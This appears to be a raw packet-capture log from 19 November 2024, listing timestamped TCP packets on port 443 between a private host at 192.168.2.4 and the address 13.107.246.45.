Nov 19, 2024 19:15:24.294879913 CET	443	49986	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.307841063 CET	443	49987	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.308424950 CET	49987	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.308460951 CET	443	49987	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.308475018 CET	443	49984	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.308676958 CET	443	49984	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.308743954 CET	49984	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.308926105 CET	49987	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.308933973 CET	443	49987	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.308943033 CET	49984	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.308968067 CET	443	49984	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.308980942 CET	49984	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.308988094 CET	443	49984	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.312161922 CET	49989	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.312222958 CET	443	49989	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.312309980 CET	49989	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.312475920 CET	49989	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.312514067 CET	443	49989	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.371856928 CET	443	49988	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.372307062 CET	49988	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.372335911 CET	443	49988	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.372812033 CET	49988	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.372822046 CET	443	49988	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.383094072 CET	443	49985	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.383573055 CET	443	49985	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.383622885 CET	49985	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.383694887 CET	49985	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.383713007 CET	443	49985	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.383749008 CET	49985	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.383757114 CET	443	49985	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.386498928 CET	49990	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.386535883 CET	443	49990	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.386646986 CET	49990	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.386810064 CET	49990	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.386826038 CET	443	49990	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.394615889 CET	443	49986	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.394738913 CET	443	49986	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.394925117 CET	49986	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.395019054 CET	49986	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.395019054 CET	49986	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.395062923 CET	443	49986	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.395096064 CET	443	49986	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.397646904 CET	49991	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.397686958 CET	443	49991	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.397777081 CET	49991	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.397923946 CET	49991	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.397955894 CET	443	49991	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.423387051 CET	443	49987	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.424432039 CET	443	49987	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.424491882 CET	49987	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.424554110 CET	49987	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.424573898 CET	443	49987	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.424587965 CET	49987	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.424596071 CET	443	49987	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.427594900 CET	49992	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.427624941 CET	443	49992	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.427845955 CET	49992	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.427920103 CET	49992	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.427963972 CET	443	49992	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.476708889 CET	443	49988	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.476802111 CET	443	49988	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.476866961 CET	49988	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.477283955 CET	49988	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.477299929 CET	443	49988	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.477312088 CET	49988	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.477318048 CET	443	49988	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.480654001 CET	49993	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.480705976 CET	443	49993	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.480892897 CET	49993	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.481097937 CET	49993	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.481115103 CET	443	49993	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.953186989 CET	443	49989	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.958301067 CET	49989	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.958331108 CET	443	49989	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:24.958883047 CET	49989	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:24.958897114 CET	443	49989	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.054006100 CET	443	49989	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.054250956 CET	443	49989	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.055788994 CET	49989	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.065408945 CET	49989	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.065408945 CET	49989	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.065438032 CET	443	49989	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.065452099 CET	443	49989	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.068222046 CET	49994	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.068267107 CET	443	49994	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.068351984 CET	49994	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.068501949 CET	49994	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.068520069 CET	443	49994	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.069892883 CET	443	49991	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.070286036 CET	49991	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.070297956 CET	443	49991	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.070739985 CET	49991	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.070748091 CET	443	49991	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.073945045 CET	443	49992	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.074302912 CET	49992	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.074316025 CET	443	49992	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.074775934 CET	49992	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.074784040 CET	443	49992	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.132520914 CET	443	49993	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.146725893 CET	49993	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.146744967 CET	443	49993	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.147361994 CET	49993	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.147368908 CET	443	49993	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.170706034 CET	443	49991	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.171600103 CET	443	49991	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.171660900 CET	443	49991	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.171865940 CET	49991	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.173890114 CET	443	49992	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.173968077 CET	443	49992	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.175581932 CET	49991	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.175611973 CET	443	49991	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.175628901 CET	49991	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.175632000 CET	49992	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.175637960 CET	443	49991	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.175806046 CET	49992	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.175823927 CET	443	49992	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.175854921 CET	49992	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.175860882 CET	443	49992	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.246879101 CET	443	49993	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.247158051 CET	443	49993	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.247809887 CET	49993	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.257441044 CET	443	49990	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.266156912 CET	49995	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.266205072 CET	443	49995	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.268088102 CET	49995	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.284219980 CET	49993	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.284236908 CET	443	49993	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.317595959 CET	49990	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.320359945 CET	49996	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.320399046 CET	443	49996	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.320712090 CET	49996	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.321187973 CET	49990	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.321197987 CET	443	49990	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.321674109 CET	49990	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.321681023 CET	443	49990	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.322633028 CET	49995	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.322659969 CET	443	49995	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.323945999 CET	49997	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.323975086 CET	443	49997	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.324208021 CET	49997	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.324255943 CET	49997	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.324260950 CET	443	49997	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.324433088 CET	49996	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.324451923 CET	443	49996	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.418255091 CET	443	49990	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.418529987 CET	443	49990	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.418606997 CET	49990	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.418646097 CET	49990	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.418661118 CET	443	49990	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.421565056 CET	49998	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.421578884 CET	443	49998	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.421648979 CET	49998	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.421876907 CET	49998	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.421890020 CET	443	49998	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.711170912 CET	443	49994	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.711761951 CET	49994	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.711779118 CET	443	49994	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.712308884 CET	49994	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.712313890 CET	443	49994	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.819525003 CET	443	49994	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.819601059 CET	443	49994	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.819648027 CET	49994	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.819931030 CET	49994	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.819952011 CET	443	49994	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.819962978 CET	49994	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.819968939 CET	443	49994	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.823308945 CET	50000	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.823350906 CET	443	50000	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.823425055 CET	50000	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.823558092 CET	50000	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.823570013 CET	443	50000	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.960668087 CET	443	49995	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.961184978 CET	49995	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.961210966 CET	443	49995	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.961689949 CET	49995	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.961695910 CET	443	49995	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.966279030 CET	443	49997	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.967853069 CET	49997	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.967865944 CET	443	49997	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.968250036 CET	49997	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.968254089 CET	443	49997	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.985310078 CET	443	49996	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.985796928 CET	49996	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.985815048 CET	443	49996	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:25.986251116 CET	49996	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:25.986255884 CET	443	49996	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.064636946 CET	443	49995	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.064672947 CET	443	49995	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.064686060 CET	443	49997	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.064749002 CET	49995	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.064765930 CET	443	49995	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.064788103 CET	443	49997	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.064821005 CET	443	49995	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.064863920 CET	49997	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.064872980 CET	443	49997	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.064908028 CET	49995	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.064941883 CET	443	49997	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.065006971 CET	49997	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.065123081 CET	49997	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.065123081 CET	49997	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.065128088 CET	49995	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.065128088 CET	49995	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.065134048 CET	443	49997	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.065143108 CET	443	49997	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.065145016 CET	443	49995	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.065155029 CET	443	49995	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.067549944 CET	443	49998	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.068391085 CET	50001	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.068403006 CET	50002	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.068423986 CET	443	50001	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.068437099 CET	443	50002	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.068504095 CET	50001	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.068599939 CET	50002	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.068675041 CET	50001	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.068689108 CET	443	50001	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.068739891 CET	49998	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.068757057 CET	443	49998	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.068869114 CET	50002	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.068882942 CET	443	50002	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.069226980 CET	49998	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.069231987 CET	443	49998	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.088218927 CET	443	49996	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.088485003 CET	443	49996	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.088526964 CET	49996	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.088535070 CET	443	49996	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.088603020 CET	49996	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.088645935 CET	49996	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.088659048 CET	443	49996	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.088670015 CET	49996	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.088674068 CET	443	49996	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.091609001 CET	50003	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.091622114 CET	443	50003	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.091742992 CET	50003	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.091870070 CET	50003	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.091881990 CET	443	50003	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.170227051 CET	443	49998	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.170706987 CET	443	49998	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.170753956 CET	49998	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.171075106 CET	49998	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.171081066 CET	443	49998	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.171092033 CET	49998	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.171096087 CET	443	49998	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.175904036 CET	50004	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.175945044 CET	443	50004	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.176130056 CET	50004	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.177005053 CET	50004	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.177020073 CET	443	50004	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.478801012 CET	443	50000	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.481856108 CET	50000	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.481905937 CET	443	50000	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.485869884 CET	50000	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.485882998 CET	443	50000	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.584789038 CET	443	50000	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.584868908 CET	443	50000	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.584954977 CET	50000	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.584973097 CET	443	50000	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.584995031 CET	443	50000	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.585218906 CET	50000	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.585243940 CET	443	50000	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.585329056 CET	50000	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.585329056 CET	50000	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.585338116 CET	443	50000	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.585345030 CET	443	50000	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.588212013 CET	50005	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.588267088 CET	443	50005	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.588345051 CET	50005	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.588509083 CET	50005	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.588527918 CET	443	50005	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.713078976 CET	443	50001	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.713731050 CET	50001	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.713743925 CET	443	50001	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.714159966 CET	50001	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.714165926 CET	443	50001	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.720757961 CET	443	50002	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.721225023 CET	50002	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.721245050 CET	443	50002	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.721698999 CET	50002	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.721704960 CET	443	50002	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.773499966 CET	443	50003	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.774137020 CET	50003	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.774153948 CET	443	50003	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.774859905 CET	50003	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.774866104 CET	443	50003	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.823024035 CET	443	50001	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.823059082 CET	443	50001	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.823247910 CET	50001	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.823259115 CET	443	50001	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.823535919 CET	50001	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.823535919 CET	50001	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.823551893 CET	443	50001	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.823746920 CET	443	50001	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.823786974 CET	443	50001	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.823862076 CET	50001	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.824204922 CET	443	50002	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.824976921 CET	443	50002	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.825051069 CET	50002	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.825438023 CET	50002	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.825438023 CET	50002	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.825458050 CET	443	50002	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.825469017 CET	443	50002	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.827100992 CET	443	50004	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.830724001 CET	50004	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.830734968 CET	443	50004	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.831293106 CET	50004	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.831298113 CET	443	50004	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.834059954 CET	50006	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.834084034 CET	50007	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.834095001 CET	443	50006	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.834121943 CET	443	50007	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.834151983 CET	50006	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.834186077 CET	50007	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.834320068 CET	50007	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.834336042 CET	443	50007	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.834388018 CET	50006	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.834398985 CET	443	50006	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.877624989 CET	443	50003	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.877945900 CET	443	50003	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.877991915 CET	443	50003	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.878083944 CET	50003	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.878149986 CET	50003	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.878166914 CET	443	50003	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.878177881 CET	50003	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.878184080 CET	443	50003	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.880970955 CET	50008	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.881026983 CET	443	50008	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.881196022 CET	50008	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.881373882 CET	50008	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.881392002 CET	443	50008	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.943737984 CET	443	50004	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.943763971 CET	443	50004	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.943803072 CET	443	50004	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.943875074 CET	50004	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.943950891 CET	50004	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.944164991 CET	50004	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.944164991 CET	50004	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.944180965 CET	443	50004	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.944185019 CET	443	50004	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.947272062 CET	50009	443	192.168.2.4	13.107.246.45
Nov 19, 2024 19:15:26.947344065 CET	443	50009	13.107.246.45	192.168.2.4
Nov 19, 2024 19:15:26.947577953 CET	50009	443	192.168.2.4	13.107.246.45
